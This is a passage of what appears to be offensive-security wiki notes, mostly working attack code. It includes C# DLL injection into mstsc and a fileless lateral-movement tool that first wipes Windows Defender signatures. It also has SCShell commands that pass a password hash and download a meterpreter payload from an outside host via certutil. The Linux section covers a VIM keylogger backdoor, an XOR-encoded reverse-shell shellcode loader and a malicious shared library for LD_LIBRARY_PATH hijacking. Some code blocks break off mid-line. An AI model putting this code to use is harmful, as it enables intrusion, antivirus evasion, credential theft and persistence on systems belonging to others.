                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
